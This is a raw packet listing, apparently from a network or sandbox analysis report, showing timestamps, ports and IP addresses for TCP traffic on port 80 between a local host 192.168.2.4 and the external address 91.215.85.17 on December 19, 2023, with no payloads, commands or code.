Dec 19, 2023 03:22:23.104437113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104500055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.104517937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104564905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104656935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104667902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.104768038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104827881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.104850054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104906082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.104989052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.105071068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105186939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105230093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.105297089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105376005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105417013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.105463028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105595112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.105683088 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.105935097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106017113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106101036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106106997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106175900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106266022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106271029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106334925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106400013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106414080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106520891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106569052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106590986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106683969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106750011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106817961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106849909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.106933117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.106966019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107059002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107132912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.107165098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107225895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107316971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107356071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.107403040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107510090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107547045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.107594013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107630968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.107717991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107814074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107850075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.107891083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.107975006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108012915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.108083010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108129978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108217955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108254910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.108305931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108443022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108479023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.108572960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108606100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.108663082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108820915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.108858109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.108923912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109016895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109050035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109121084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109181881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109262943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109299898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109357119 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109450102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109491110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109540939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109575987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109621048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109735966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109770060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109841108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109930992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.109965086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.109997988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110085964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110160112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110194921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.110310078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110400915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110439062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.110482931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110517979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.110559940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110656023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110694885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.110723972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110802889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110840082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.110894918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.110965967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111090899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111093998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111186028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111277103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111311913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111354113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111422062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111458063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111520052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111557007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111599922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111685038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111727953 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111783028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111884117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.111922979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.111970901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112056017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112132072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112138033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.112211943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112260103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.112303019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112441063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112504005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.112510920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112575054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112616062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.112659931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112749100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112828016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.112845898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.112967968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113008976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113059998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113137007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113193989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113220930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113287926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113331079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113377094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113471031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113501072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113565922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113650084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113691092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113738060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113827944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113890886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.113903999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.113976955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114017010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114124060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114218950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114252090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114294052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114412069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114495039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114497900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114579916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114649057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114655972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114712954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114794016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114815950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114897013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.114943027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.114968061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115067005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115128994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.115148067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115241051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115278959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.115317106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115405083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.115447044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.115488052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.170308113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.378086090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:23.420315027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:23.434719086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:24.303612947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:24.303648949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:24.572567940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:24.590269089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:24.639122963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.688370943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.688400030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.957231998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975219011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975280046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975348949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975368977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975438118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975477934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975492954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975526094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975563049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975588083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975639105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975673914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975702047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975744963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975780964 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975788116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975847006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.975886106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.975888014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976010084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976047039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976047039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976109982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976142883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976186037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976254940 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976288080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976294041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976366043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976404905 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976416111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976464987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976499081 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976542950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976579905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976615906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976757050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976805925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976841927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976867914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976903915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.976937056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.976965904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977009058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977046013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977072954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977116108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977158070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977164030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977201939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977236032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977269888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977304935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977339983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977374077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977417946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977444887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977453947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977507114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977545023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977566957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977628946 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977662086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977665901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977715015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977752924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977765083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977848053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977883101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.977900982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.977967978 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978002071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.978029966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978075027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978111029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.978153944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978245974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978280067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.978332996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978403091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978436947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.978436947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.979299068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979332924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.979377031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979463100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979500055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.979569912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979650021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979682922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.979737043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979831934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.979876041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.979922056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980032921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980067968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.980118036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980206966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980245113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.980437040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980546951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980581045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.980628014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980761051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980797052 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.980824947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980894089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.980931044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981004953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981082916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981118917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981183052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981275082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981309891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981353998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981447935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981482983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981535912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981637001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981672049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981724024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981785059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981821060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.981899023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.981992006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982028961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982065916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982209921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982240915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982307911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982398987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982434988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982459068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982528925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982562065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982628107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982702017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982738018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982810020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982877970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.982909918 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.982950926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983052969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983092070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.983114004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983289003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:25.983321905 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:25.983395100 CET	80	49738	91.215.85.17	192.168.2.4
